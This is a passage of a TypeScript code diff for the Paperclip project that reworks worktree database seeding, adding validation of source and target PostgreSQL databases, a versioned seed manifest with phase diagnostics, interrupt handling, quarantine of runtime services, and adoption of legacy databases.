preferredPort: number): P const postmasterPidFile = path.resolve(dataDir, "postmaster.pid"); const runningPid = readRunningPostmasterPid(postmasterPidFile); if (runningPid) { + if (options.allowExisting === false) { + throw new Error( + `Cannot seed target embedded PostgreSQL at ${dataDir} while it is already running (pid=${runningPid}). ` + + "Stop the worktree service that owns this database, then retry the seed.", + ); + } return { port: readPidFilePort(postmasterPidFile) ?? preferredPort, startedByThisProcess: false, @@ -1187,6 +1252,9 @@ const EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY: SeededWorktreeExecutio quarantinedInProgressIssues: 0, unassignedTodoIssues: 0, unassignedReviewIssues: 0, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, }; function isRecord(value: unknown): value is Record { @@ -1218,6 +1286,36 @@ function normalizeWorktreeRuntimeConfig(runtimeConfig: unknown): { return { runtimeConfig: nextRuntimeConfig, disabledTimerHeartbeat: false, changed: false }; } +function stopSeededWorkspaceRuntime( + metadata: unknown, + configKey: "config" | "runtimeConfig", +): { metadata: Record; changed: boolean } { + const nextMetadata = isRecord(metadata) ? { ...metadata } : {}; + const currentConfig = isRecord(nextMetadata[configKey]) + ? { ...(nextMetadata[configKey] as Record) } + : null; + if (!currentConfig) return { metadata: nextMetadata, changed: false }; + + let changed = false; + if (currentConfig.desiredState === "running") { + currentConfig.desiredState = "stopped"; + changed = true; + } + + if (isRecord(currentConfig.serviceStates)) { + const nextServiceStates = { ...currentConfig.serviceStates }; + for (const [serviceIndex, state] of Object.entries(nextServiceStates)) { + if (state !== "running") continue; + nextServiceStates[serviceIndex] = "stopped"; + changed = true; + } + if (changed) currentConfig.serviceStates = nextServiceStates; + } + + if (changed) nextMetadata[configKey] = currentConfig; + return { metadata: nextMetadata, changed }; +} + export async function quarantineSeededWorktreeExecutionState( connectionString: string, ): Promise { @@ -1300,6 +1398,50 @@ export async function quarantineSeededWorktreeExecutionState( summary.unassignedReviewIssues += 1; } } + + const seededProjectWorkspaces = await tx + .select({ id: projectWorkspaces.id, metadata: projectWorkspaces.metadata }) + .from(projectWorkspaces); + for (const workspace of seededProjectWorkspaces) { + const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "runtimeConfig"); + if (!stopped.changed) continue; + await tx + .update(projectWorkspaces) + .set({ metadata: stopped.metadata, updatedAt: new Date() }) + .where(eq(projectWorkspaces.id, workspace.id)); + summary.stoppedProjectWorkspaceRuntimes += 1; + } + + const seededExecutionWorkspaces = await tx + .select({ id: executionWorkspaces.id, metadata: executionWorkspaces.metadata }) + .from(executionWorkspaces); + for (const workspace of seededExecutionWorkspaces) { + const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "config"); + if (!stopped.changed) continue; + await tx + .update(executionWorkspaces) + .set({ metadata: stopped.metadata, updatedAt: new Date() }) + .where(eq(executionWorkspaces.id, workspace.id)); + summary.stoppedExecutionWorkspaceRuntimes += 1; + } + + const now = new Date(); + const stoppedRuntimeServices = await tx + .update(workspaceRuntimeServices) + .set({ + status: "stopped", + healthStatus: "unknown", + providerRef: null, + ownerAgentId: null, + startedByRunId: null, + port: null, + url: null, + stoppedAt: now, + lastUsedAt: now, + updatedAt: now, + }) + .returning({ id: workspaceRuntimeServices.id }); + summary.stoppedRuntimeServices = stoppedRuntimeServices.length; }); return summary; @@ -1308,6 +1450,233 @@ export async function quarantineSeededWorktreeExecutionState( } } +type WorktreeSeedValidationExpectation = { + adminUserId: string; + representativeCompanyId: string; + representativeIssueId: string; +}; + +export function requiresWorktreeSeedCredentialAccount( + deploymentMode: PaperclipConfig["server"]["deploymentMode"], +): boolean { + return deploymentMode === "authenticated"; +} + +export function resolveWorktreeSeedMigrationRevision( + migrationState: Awaited>, + requirement: "sourcePrefix" | "upToDate", +): string { + const expectedAppliedPrefix = migrationState.availableMigrations.slice( + 0, + migrationState.appliedMigrations.length, + ); + const appliedMigrationNames = new Set(migrationState.appliedMigrations); + if ( + appliedMigrationNames.size !== expectedAppliedPrefix.length || + expectedAppliedPrefix.some((migration) => !appliedMigrationNames.has(migration)) + ) { + throw new Error("Migration journal is not a prefix of this Paperclip checkout's migration journal."); + } + + if (requirement === "upToDate" && migrationState.status !== "upToDate") { + throw new Error( + `Migration journal is not current (${migrationState.pendingMigrations.length} pending migration(s)).`, + ); + } + + const migrationRevision = expectedAppliedPrefix.at(-1); + if (!migrationRevision) { + throw new Error("Migration journal has no applied revision."); + } + return migrationRevision; +} + +/** + * Markerless worktrees predate the versioned seed manifest. Adopt one only + * after proving that its configured database already has a compatible + * migration journal and the core Paperclip tables. The physical PG_VERSION + * check prevents this read-only probe from initializing a missing embedded + * database and then mistaking that empty cluster for legacy evidence. + */ +export async function inspectLegacyWorktreeDatabase( + configPath: string, +): Promise { + const config = readConfig(configPath); + if (!config) return null; + + const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath)); + let embeddedHandle: EmbeddedPostgresHandle | null = null; + let db: ReturnType | null = null; + try { + if (config.database.mode === "embedded-postgres") { + const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath); + if (!existsSync(path.join(dataDir, "PG_VERSION"))) return null; + embeddedHandle = await ensureEmbeddedPostgres(dataDir, config.database.embeddedPostgresPort); + } + + const connectionString = resolveSourceConnectionString(config, envEntries, embeddedHandle?.port); + const migrationRevision = resolveWorktreeSeedMigrationRevision( + await inspectMigrations(connectionString), + "sourcePrefix", + ); + db = createDb(connectionString); + await Promise.all([ + db.select({ id: authUsers.id }).from(authUsers).limit(1), + db.select({ id: companies.id }).from(companies).limit(1), + db.select({ id: issues.id }).from(issues).limit(1), + ]); + return { migrationRevision }; + } catch { + return null; + } finally { + await db?.$client?.end?.({ timeout: 5 }).catch(() => undefined); + if (embeddedHandle?.startedByThisProcess) { + await embeddedHandle.stop().catch(() => undefined); + } + } +} + +async function inspectVerifiedSeedDatabase( + connectionString: string, + options: { + deploymentMode: PaperclipConfig["server"]["deploymentMode"]; + expected?: WorktreeSeedValidationExpectation; + migrationRequirement?: "sourcePrefix" | "upToDate"; + requiredCompanyId?: string; + }, +): Promise<{ summary: WorktreeSeedValidationSummary; expectation: WorktreeSeedValidationExpectation }> { + const { + deploymentMode, + expected, + migrationRequirement = "upToDate", + requiredCompanyId, + } = options; + const requiresCredentialAccount = requiresWorktreeSeedCredentialAccount(deploymentMode); + const migrationState = await inspectMigrations(connectionString); + const migrationRevision = resolveWorktreeSeedMigrationRevision( + migrationState, + migrationRequirement, + ); + + const db = createDb(connectionString); + try { + const [counts] = await db + .select({ + authUserCount: sql`count(distinct ${authUsers.id})::int`, + credentialAccountCount: sql`count(distinct ${authAccounts.id})::int`, + instanceAdminCount: sql`count(distinct ${instanceUserRoles.userId})::int`, + activeMembershipCount: sql`count(distinct ${companyMemberships.id})::int`, + companyCount: sql`count(distinct ${companies.id})::int`, + issueCount: sql`count(distinct ${issues.id})::int`, + }) + .from(authUsers) + .leftJoin(authAccounts, eq(authAccounts.userId, authUsers.id)) + .leftJoin( + instanceUserRoles, + and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")), + ) + .leftJoin( + companyMemberships, + and( + eq(companyMemberships.principalType, "user"), + eq(companyMemberships.principalId, authUsers.id), + eq(companyMemberships.status, "active"), + ), + ) + .leftJoin(companies, eq(companies.id, companyMemberships.companyId)) + .leftJoin(issues, eq(issues.companyId, companies.id)); + + const admin = await db + .select({ userId: authUsers.id }) + .from(authUsers) + .innerJoin( + instanceUserRoles, + and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")), + ) + .leftJoin( + authAccounts, + eq(authAccounts.userId, authUsers.id), + ) + .innerJoin( + companyMemberships, + and( + eq(companyMemberships.principalType, "user"), + eq(companyMemberships.principalId, authUsers.id), + eq(companyMemberships.status, "active"), + ), + ) + .where(and( + expected ? eq(authUsers.id, expected.adminUserId) : undefined, + requiredCompanyId ? eq(companyMemberships.companyId, requiredCompanyId) : undefined, + requiresCredentialAccount + ? and( + sql`length(trim(${authAccounts.providerId})) > 0`, + sql`length(trim(${authAccounts.accountId})) > 0`, + ) + : undefined, + )) + .limit(1) + .then((rows) => rows[0] ?? null); + if (!admin) { + throw new Error( + requiresCredentialAccount + ? "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator." + : "No auth user has an instance-admin role and active company membership for local-trusted worktree seeding.", + ); + } + + const representative = await db + .select({ companyId: companies.id, issueId: issues.id }) + .from(companies) + .innerJoin(issues, eq(issues.companyId, companies.id)) + .where( + and( + expected ? eq(companies.id, expected.representativeCompanyId) : undefined, + expected ? eq(issues.id, expected.representativeIssueId) : undefined, + requiredCompanyId ? eq(companies.id, requiredCompanyId) : undefined, + ), + ) + .limit(1) + .then((rows) => rows[0] ?? null); + if (!representative) { + throw new Error("No representative cloned company and issue pair is readable."); + } + + const summary: WorktreeSeedValidationSummary = { + authUserCount: counts?.authUserCount ?? 0, + credentialAccountCount: counts?.credentialAccountCount ?? 0, + instanceAdminCount: counts?.instanceAdminCount ?? 0, + activeMembershipCount: counts?.activeMembershipCount ?? 0, + companyCount: counts?.companyCount ?? 0, + issueCount: counts?.issueCount ?? 0, + representativeCompanyId: representative.companyId, + representativeIssueId: representative.issueId, + migrationRevision, + }; + if ( + summary.authUserCount < 1 + || (requiresCredentialAccount && summary.credentialAccountCount < 1) + || summary.instanceAdminCount < 1 + || summary.activeMembershipCount < 1 + || summary.companyCount < 1 + || summary.issueCount < 1 + ) { + throw new Error("Seed validation found an incomplete auth, membership, company, or issue shape."); + } + + return { + summary, + expectation: { + adminUserId: admin.userId, + representativeCompanyId: representative.companyId, + representativeIssueId: representative.issueId, + }, + }; + } finally { + await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); + } +} + async function seedWorktreeDatabase(input: { sourceConfigPath: string; sourceConfig: PaperclipConfig; @@ -1316,16 +1685,12 @@ async function seedWorktreeDatabase(input: { instanceId: string; seedMode: WorktreeSeedMode; preserveLiveWork?: boolean; + expectedCompanyId?: string; + onPhase?: (phase: WorktreeSeedPhase, status: "started" | "succeeded", message?: string) => void; }): Promise { const seedPlan = resolveWorktreeSeedPlan(input.seedMode); const sourceEnvFile = resolvePaperclipEnvFile(input.sourceConfigPath); const sourceEnvEntries = readPaperclipEnvEntries(sourceEnvFile); - copySeededSecretsKey({ - sourceConfigPath: input.sourceConfigPath, - sourceConfig: input.sourceConfig, - sourceEnvEntries, - targetKeyFilePath: input.targetPaths.secretsKeyFilePath, - }); let sourceHandle: EmbeddedPostgresHandle | null = null; let targetHandle: EmbeddedPostgresHandle | null = null; @@ -1343,6 +1708,29 @@ async function seedWorktreeDatabase(input: { sourceEnvEntries, sourceHandle?.port, ); + input.onPhase?.("source_validation", "started"); + const sourceValidation = await inspectVerifiedSeedDatabase( + sourceConnectionString, + { + deploymentMode: input.sourceConfig.server.deploymentMode, + migrationRequirement: "sourcePrefix", + requiredCompanyId: input.expectedCompanyId, + }, + ); + input.onPhase?.( + "source_validation", + "succeeded", + `Validated migration ${sourceValidation.summary.migrationRevision}, ${sourceValidation.summary.companyCount} company record(s), and ${sourceValidation.summary.issueCount} issue record(s).`, + ); + copySeededSecretsKey({ + sourceConfigPath: input.sourceConfigPath, + sourceConfig: input.sourceConfig, + sourceEnvEntries, + targetKeyFilePath: input.targetPaths.secretsKeyFilePath, + }); + + const snapshotAt = new Date().toISOString(); + input.onPhase?.("snapshot", "started"); const backup = await runDatabaseBackup({ connectionString: sourceConnectionString, backupDir: path.resolve(input.targetPaths.backupDir, "seed"), @@ -1353,10 +1741,13 @@ async function seedWorktreeDatabase(input: { excludeTables: seedPlan.excludedTables, nullifyColumns: seedPlan.nullifyColumns, }); + input.onPhase?.("snapshot", "succeeded", `Created ${path.basename(backup.backupFile)}.`); + input.onPhase?.("restore", "started"); targetHandle = await ensureEmbeddedPostgres( input.targetConfig.database.embeddedPostgresDataDir, input.targetConfig.database.embeddedPostgresPort, + { allowExisting: false }, ); const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`; @@ -1366,21 +1757,52 @@ async function seedWorktreeDatabase(input: { connectionString: targetConnectionString, backupFile: backup.backupFile, }); + input.onPhase?.("restore", "succeeded"); + input.onPhase?.("migrations", "started"); await applyPendingMigrations(targetConnectionString); + input.onPhase?.("migrations", "succeeded"); + input.onPhase?.("execution_quarantine", "started"); const executionQuarantine = input.preserveLiveWork ? { ...EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY } : await quarantineSeededWorktreeExecutionState(targetConnectionString); + input.onPhase?.( + "execution_quarantine", + "succeeded", + input.preserveLiveWork + ? "Preserved copied live work by explicit request." + : formatSeededWorktreeExecutionQuarantineSummary(executionQuarantine), + ); + input.onPhase?.("routine_pause", "started"); const pausedScheduledRoutines = await pauseSeededScheduledRoutines(targetConnectionString); + input.onPhase?.("routine_pause", "succeeded", `Paused ${pausedScheduledRoutines} scheduled routine(s).`); + input.onPhase?.("workspace_rebind", "started"); const reboundWorkspaces = await rebindSeededProjectWorkspaces({ targetConnectionString, currentCwd: input.targetPaths.cwd, }); + input.onPhase?.("workspace_rebind", "succeeded", `Rebound ${reboundWorkspaces.length} workspace path(s).`); + input.onPhase?.("post_restore_validation", "started"); + const targetValidation = await inspectVerifiedSeedDatabase( + targetConnectionString, + { + deploymentMode: input.targetConfig.server.deploymentMode, + expected: sourceValidation.expectation, + }, + ); + input.onPhase?.( + "post_restore_validation", + "succeeded", + `Validated migration ${targetValidation.summary.migrationRevision}.`, + ); return { backupSummary: formatDatabaseBackupResult(backup), + snapshotAt, + migrationRevision: targetValidation.summary.migrationRevision, pausedScheduledRoutines, executionQuarantine, reboundWorkspaces, + validation: targetValidation.summary, }; } finally { if (targetHandle?.startedByThisProcess) { @@ -1392,46 +1814,216 @@ async function seedWorktreeDatabase(input: { } } -function writeWorktreeSeedMarker( - filePath: string, - marker: WorktreeSeedPendingMarker | WorktreeSeedCompleteMarker, -): void { +const WORKTREE_SEED_DIAGNOSTIC_LIMIT = 32; +const WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT = 512; +const activeSeedInterruptHandlers = new Map void>(); + +export function formatWorktreeSeedFailureDiagnostic( + phase: WorktreeSeedPhase, + error: unknown, +): string { + const message = error instanceof Error ? error.message : String(error ?? ""); + if ( + phase === "restore" + && /database system is shutting down|terminating connection due to administrator command/i.test(message) + ) { + return "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed."; + } + if (phase === "restore" && /Cannot seed target embedded PostgreSQL.+already running/i.test(message)) { + return "Target embedded PostgreSQL is owned by a running worktree service. Stop that service and retry the seed."; + } + if ( + /No auth user has a non-empty credential account, instance-admin role, and active company membership/i.test( + message, + ) + ) { + return "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding."; + } + return `Seed failed during ${phase}.`; +} + +function dispatchSeedInterruption(signal: NodeJS.Signals): void { + for (const handler of activeSeedInterruptHandlers.values()) { + try { + handler(signal); + } catch { + // Continue terminalizing the other active manifests before exiting. + } + } + process.exit(signal === "SIGINT" ? 130 : 143); +} + +const dispatchSeedSigint = () => dispatchSeedInterruption("SIGINT"); +const dispatchSeedSigterm = () => dispatchSeedInterruption("SIGTERM"); + +function registerSeedInterruptHandler(handler: (signal: NodeJS.Signals) => void): () => void { + const id = randomUUID(); + if (activeSeedInterruptHandlers.size === 0) { + process.once("SIGINT", dispatchSeedSigint); + process.once("SIGTERM", dispatchSeedSigterm); + } + activeSeedInterruptHandlers.set(id, handler); + return () => { + activeSeedInterruptHandlers.delete(id); + if (activeSeedInterruptHandlers.size === 0) { + process.off("SIGINT", dispatchSeedSigint); + process.off("SIGTERM", dispatchSeedSigterm); + } + }; +} + +type LegacyWorktreeSeedPendingMarker = { + version: 1; + state: "pending"; + sourceConfigPath: string; +}; + +function resolveSeedInstanceId(configPath: string): string { + const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath)); + return nonEmpty(envEntries.PAPERCLIP_INSTANCE_ID) + ?? sanitizeWorktreeInstanceId(path.basename(path.dirname(path.resolve(configPath)))); +} + +function writeWorktreeSeedManifest(filePath: string, manifest: WorktreeSeedManifest): void { mkdirSync(path.dirname(filePath), { recursive: true }); - writeFileSync(filePath, `${JSON.stringify(marker, null, 2)}\n`, { mode: 0o600 }); + const temporaryPath = `${filePath}.${process.pid}.${randomUUID()}.tmp`; + writeFileSync(temporaryPath, `${JSON.stringify(manifest, null, 2)}\n`, { mode: 0o600 }); + renameSync(temporaryPath, filePath); +} + +export function readWorktreeSeedManifest(configPath: string): WorktreeSeedManifest | null { + const manifestPath = resolveWorktreeSeedMarkerPaths(configPath).manifest; + if (!existsSync(manifestPath)) return null; + let parsed: unknown; + try { + parsed = JSON.parse(readFileSync(manifestPath, "utf8")); + } catch (error) { + throw new Error( + `Invalid worktree seed manifest at ${manifestPath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + const value = parsed as Partial; + const diagnosticsValid = Array.isArray(value.diagnostics) && value.diagnostics.every((diagnostic) => ( + diagnostic + && typeof diagnostic === "object" + && WORKTREE_SEED_PHASES.includes(diagnostic.phase) + && ["started", "succeeded", "failed"].includes(diagnostic.status) + && typeof diagnostic.at === "string" + && (diagnostic.message === undefined || typeof diagnostic.message === "string") + )); + const verifiedTerminalValid = value.state !== "verified" || ( + value.phase === "complete" + && typeof value.snapshotAt === "string" + && value.snapshotAt.length > 0 + && typeof value.migrationRevision === "string" + && value.migrationRevision.length > 0 + && typeof value.startedAt === "string" + && typeof value.finishedAt === "string" + && value.diagnostics?.some((diagnostic) => ( + diagnostic.phase === "complete" && diagnostic.status === "succeeded" + )) === true + ); + if ( + !value + || typeof value !== "object" + || value.version !== 2 + || !value.source + || typeof value.source.instanceId !== "string" + || typeof value.source.configPath !== "string" + || typeof value.targetInstanceId !== "string" + || value.targetInstanceId.length === 0 + || !isWorktreeSeedMode(String(value.seedMode ?? "")) + || !WORKTREE_SEED_PHASES.includes(value.phase as WorktreeSeedPhase) + || !["pending", "running", "verified", "failed"].includes(String(value.state ?? "")) + || typeof value.attemptId !== "string" + || value.attemptId.length === 0 + || !diagnosticsValid + || !verifiedTerminalValid + ) { + throw new Error(`Invalid worktree seed manifest at ${manifestPath}.`); + } + return value as WorktreeSeedManifest; } export function markWorktreeSeedPending(input: { configPath: string; sourceConfigPath: string; - now?: Date; -}): void { - const markers = resolveWorktreeSeedMarkerPaths(input.configPath); - rmSync(markers.complete, { force: true }); - writeWorktreeSeedMarker(markers.pending, { - version: 1, - state: "pending", - sourceConfigPath: path.resolve(input.sourceConfigPath), - seedMode: "minimal", - createdAt: (input.now ?? new Date()).toISOString(), - }); -} - -export function markWorktreeSeedComplete(input: { - configPath: string; + targetInstanceId?: string; seedMode?: WorktreeSeedMode; now?: Date; + diagnosticMessage?: string; }): void { const markers = resolveWorktreeSeedMarkerPaths(input.configPath); - writeWorktreeSeedMarker(markers.complete, { - version: 1, - state: "complete", + const at = (input.now ?? new Date()).toISOString(); + writeWorktreeSeedManifest(markers.manifest, { + version: 2, + source: { + instanceId: resolveSeedInstanceId(input.sourceConfigPath), + configPath: path.resolve(input.sourceConfigPath), + }, + snapshotAt: null, seedMode: input.seedMode ?? "minimal", - completedAt: (input.now ?? new Date()).toISOString(), + migrationRevision: null, + targetInstanceId: input.targetInstanceId ?? resolveSeedInstanceId(input.configPath), + phase: "pending", + state: "pending", + attemptId: randomUUID(), + startedAt: null, + finishedAt: null, + diagnostics: [{ + phase: "pending", + status: "succeeded", + at, + ...(input.diagnosticMessage + ? { message: input.diagnosticMessage.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) } + : {}), + }], }); + // New manifests are authoritative. Legacy files are removed so no caller can + // mistake a stale binary marker for current verified seed state. + rmSync(markers.complete, { force: true }); rmSync(markers.pending, { force: true }); } -function readWorktreeSeedPendingMarker(filePath: string): WorktreeSeedPendingMarker { +function updateWorktreeSeedManifest(input: { + configPath: string; + phase: WorktreeSeedPhase; + status: "started" | "succeeded" | "failed"; + state?: WorktreeSeedManifest["state"]; + message?: string; + snapshotAt?: string | null; + migrationRevision?: string | null; + now?: Date; +}): WorktreeSeedManifest { + const markers = resolveWorktreeSeedMarkerPaths(input.configPath); + const current = readWorktreeSeedManifest(input.configPath); + if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`); + const at = (input.now ?? new Date()).toISOString(); + const nextState = input.state ?? current.state; + const diagnostic = { + phase: input.phase, + status: input.status, + at, + ...(input.message + ? { message: input.message.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) } + : {}), + }; + const next: WorktreeSeedManifest = { + ...current, + phase: input.phase, + state: nextState, + snapshotAt: input.snapshotAt === undefined ? current.snapshotAt : input.snapshotAt, + migrationRevision: + input.migrationRevision === undefined ? current.migrationRevision : input.migrationRevision, + startedAt: current.startedAt ?? (input.status === "started" ? at : null), + finishedAt: nextState === "verified" || nextState === "failed" ? at : null, + diagnostics: [...current.diagnostics, diagnostic].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT), + }; + writeWorktreeSeedManifest(markers.manifest, next); + return next; +} + +function readLegacyWorktreeSeedPendingMarker(filePath: string): LegacyWorktreeSeedPendingMarker { let parsed: unknown; try { parsed = JSON.parse(readFileSync(filePath, "utf8")); @@ -1452,7 +2044,7 @@ function readWorktreeSeedPendingMarker(filePath: string): WorktreeSeedPendingMar throw new Error(`Invalid worktree seed-pending marker at ${filePath}.`); } - return parsed as WorktreeSeedPendingMarker; + return parsed as LegacyWorktreeSeedPendingMarker; } const WORKTREE_SEED_LOCK_POLL_MS = 50; @@ -1546,41 +2138,269 @@ async function acquireWorktreeSeedLock(lockPath: string): Promise<() => Promise< } } +function startWorktreeSeedAttempt(configPath: string, now = new Date()): WorktreeSeedManifest { + const markers = resolveWorktreeSeedMarkerPaths(configPath); + const current = readWorktreeSeedManifest(configPath); + if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`); + const at = now.toISOString(); + const next: WorktreeSeedManifest = { + ...current, + state: "running", + phase: "pending", + attemptId: randomUUID(), + snapshotAt: null, + migrationRevision: null, + startedAt: at, + finishedAt: null, + diagnostics: [ + ...current.diagnostics, + { phase: "pending" as const, status: "started" as const, at }, + ].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT), + }; + writeWorktreeSeedManifest(markers.manifest, next); + return next; +} + +async function runVerifiedWorktreeSeed(input: { + configPath: string; + sourceConfigPath: string; + sourceConfig: PaperclipConfig; + targetConfig: PaperclipConfig; + targetPaths: WorktreeLocalPaths; + instanceId: string; + seedMode: WorktreeSeedMode; + preserveLiveWork?: boolean; + expectedCompanyId?: string; + seedDatabase: SeedWorktreeDatabase; +}): Promise { + let activePhase: WorktreeSeedPhase = "pending"; + const previous = readWorktreeSeedManifest(input.configPath); + if (previous?.state === "running") { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: previous.phase, + status: "failed", + state: "failed", + message: "The previous seed attempt ended without a terminal result.", + }); + } + startWorktreeSeedAttempt(input.configPath); + + const unregisterInterruption = registerSeedInterruptHandler((signal) => { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: activePhase, + status: "failed", + state: "failed", + message: `Seed interrupted by ${signal} during ${activePhase}.`, + }); + }); + + try { + const details = await input.seedDatabase({ + sourceConfigPath: input.sourceConfigPath, + sourceConfig: input.sourceConfig, + targetConfig: input.targetConfig, + targetPaths: input.targetPaths, + instanceId: input.instanceId, + seedMode: input.seedMode, + preserveLiveWork: input.preserveLiveWork, + expectedCompanyId: input.expectedCompanyId, + onPhase: (phase, status, message) => { + activePhase = phase; + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase, + status, + state: "running", + message, + ...(phase === "snapshot" && status === "started" + ? { snapshotAt: new Date().toISOString() } + : {}), + }); + }, + }); + if (!details.snapshotAt || !details.migrationRevision || !details.validation) { + throw new Error("Seed implementation returned without required validation evidence."); + } + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: "complete", + status: "succeeded", + state: "verified", + snapshotAt: details.snapshotAt, + migrationRevision: details.migrationRevision, + message: + `Verified ${details.validation.companyCount} company record(s), ` + + `${details.validation.issueCount} issue record(s), auth, admin, membership, and migration state.`, + }); + return details; + } catch (error) { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: activePhase, + status: "failed", + state: "failed", + // Do not persist the underlying error: database/driver errors may contain + // connection credentials. The CLI still returns the exact error to its caller. + message: formatWorktreeSeedFailureDiagnostic(activePhase, error), + }); + throw error; + } finally { + unregisterInterruption(); + } +} + export async function ensureWorktreeSeeded( opts: WorktreeEnsureSeededOptions = {}, - dependencies: { seedDatabase?: SeedWorktreeDatabase } = {}, + dependencies: { + seedDatabase?: SeedWorktreeDatabase; + inspectLegacyDatabase?: typeof inspectLegacyWorktreeDatabase; + } = {}, ): Promise { const configPath = resolveConfigPath(opts.config); const markers = resolveWorktreeSeedMarkerPaths(configPath); + const initialManifest = readWorktreeSeedManifest(configPath); + if (initialManifest?.state === "verified") { + return { seeded: false, reason: "verified_manifest" }; + } + if (!initialManifest && existsSync(markers.complete)) { + return { seeded: false, reason: "complete_marker" }; + } + const legacyPending = !initialManifest && existsSync(markers.pending) + ? readLegacyWorktreeSeedPendingMarker(markers.pending) + : null; + const hasExplicitSource = Boolean(opts.fromConfig || opts.fromDataDir || opts.fromInstance); + const explicitSourceConfigPath = hasExplicitSource + ? resolveSourceConfigPath({ + fromConfig: opts.fromConfig, + fromDataDir: opts.fromDataDir, + fromInstance: opts.fromInstance, + }) + : null; + const registeredBaseWorkspaceCwd = opts.registeredBaseWorkspaceCwd + ?? nonEmpty(process.env.PAPERCLIP_WORKSPACE_BASE_CWD) + ?? null; + if (!initialManifest && !legacyPending && !hasExplicitSource && !registeredBaseWorkspaceCwd) { + if (existsSync(markers.lock)) { + const releaseExistingLock = await acquireWorktreeSeedLock(markers.lock); + await releaseExistingLock(); + } + return { seeded: false, reason: "legacy_unmarked" }; + } + const registeredProjectWorkspaceId = opts.registeredProjectWorkspaceId + ?? nonEmpty(process.env.PAPERCLIP_PROJECT_WORKSPACE_ID) + ?? null; + const expectedCompanyId = opts.expectedCompanyId + ?? nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) + ?? nonEmpty(process.env.PAPERCLIP_COMPANY_ID) + ?? undefined; + if (!explicitSourceConfigPath && registeredBaseWorkspaceCwd && (!registeredProjectWorkspaceId || !expectedCompanyId)) { + throw new Error( + "Managed worktree seed registration is incomplete; project workspace and company bindings are required.", + ); + } + + const targetRoot = path.dirname(path.dirname(configPath)); + const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot }); + const registeredSeedSource = resolveRegisteredWorktreeSeedSource({ + registeredBaseWorkspaceCwd, + explicitSourceConfigPath, + targetConfigPath: configPath, + expectedTargetInstanceId: targetPaths.instanceId, + }); + + if (initialManifest && initialManifest.targetInstanceId !== registeredSeedSource.targetInstanceId) { + throw new Error("Worktree seed manifest target instance does not match the registered target instance."); + } + + // Resolve all authority-bearing paths before creating the lock. The manifest is + // agent-writable diagnostic evidence and never selects the source. A stale source + // diagnostic is replaced under the lock from this server/operator registration. + let canonicalSource = registeredSeedSource; mkdirSync(path.dirname(markers.lock), { recursive: true }); const releaseLock = await acquireWorktreeSeedLock(markers.lock); try { // These checks deliberately happen under the cross-process lock. A second // service process waits for the first seed transaction, then observes the - // complete marker instead of cloning the same database concurrently. - if (existsSync(markers.complete)) { - return { seeded: false, reason: "complete_marker" }; + // verified manifest instead of cloning the same database concurrently. + let manifest = readWorktreeSeedManifest(configPath); + if (manifest?.state === "verified") { + return { seeded: false, reason: "verified_manifest" }; } - if (!existsSync(markers.pending)) { - // Worktrees created before lazy seeding shipped were seeded eagerly and - // have neither marker. Preserve that compatibility without re-cloning. - return { seeded: false, reason: "legacy_unmarked" }; + if (!manifest && existsSync(markers.pending)) { + const currentLegacyPending = readLegacyWorktreeSeedPendingMarker(markers.pending); + if (currentLegacyPending.sourceConfigPath !== legacyPending?.sourceConfigPath) { + throw new Error("Worktree seed source diagnostics changed while waiting for the seed lock."); + } + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.", + }); + manifest = readWorktreeSeedManifest(configPath); } + if (!manifest) { + const legacyEvidence = await ( + dependencies.inspectLegacyDatabase ?? inspectLegacyWorktreeDatabase + )(configPath); + if (legacyEvidence) { + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "Validated existing legacy worktree database schema before adoption.", + }); + startWorktreeSeedAttempt(configPath); + updateWorktreeSeedManifest({ + configPath, + phase: "complete", + status: "succeeded", + state: "verified", + snapshotAt: new Date().toISOString(), + migrationRevision: legacyEvidence.migrationRevision, + message: "Adopted an existing legacy worktree database after validating its migration journal and core schema.", + }); + return { seeded: false, reason: "legacy_database" }; + } - const pending = readWorktreeSeedPendingMarker(markers.pending); - const sourceConfigPath = opts.fromConfig || opts.fromDataDir || opts.fromInstance - ? resolveSourceConfigPath({ - fromConfig: opts.fromConfig, - fromDataDir: opts.fromDataDir, - fromInstance: opts.fromInstance, - }) - : path.resolve(pending.sourceConfigPath); - - if (path.resolve(sourceConfigPath) === path.resolve(configPath)) { - throw new Error( - "Source and target Paperclip configs are the same. 